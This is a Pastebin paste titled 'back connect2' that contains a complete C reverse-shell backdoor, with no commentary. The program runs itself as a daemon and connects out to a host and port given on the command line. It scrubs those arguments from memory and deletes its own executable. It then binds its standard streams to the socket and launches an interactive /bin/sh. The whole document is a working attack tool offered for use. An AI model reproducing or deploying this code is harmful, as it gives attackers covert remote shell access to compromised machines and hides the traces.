Advertisement
aljazara

back connect2

Mar 14th, 2014
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 0.64 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <sys/socket.h>
  3. #include <netinet/in.h>
  4. int main(int argc, char *argv[])
  5. {
  6.  int fd;
  7.  struct sockaddr_in sin;
  8.  char rms[21]="rm -f ";
  9.  daemon(1,0);
  10.  sin.sin_family = AF_INET;
  11.  sin.sin_port = htons(atoi(argv[2]));
  12.  sin.sin_addr.s_addr = inet_addr(argv[1]);
  13.  bzero(argv[1],strlen(argv[1])+1+strlen(argv[2]));
  14.  fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ;
  15.  if ((connect(fd, (struct sockaddr *) &sin, sizeof(struct sockaddr)))<0) {
  16.    perror("[-] connect()");
  17.    exit(0);
  18.  }
  19.  strcat(rms, argv[0]);
  20.  system(rms);  
  21.  dup2(fd, 0);
  22.  dup2(fd, 1);
  23.  dup2(fd, 2);
  24.  execl("/bin/sh","sh -i", NULL);
  25.  close(fd);
  26. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement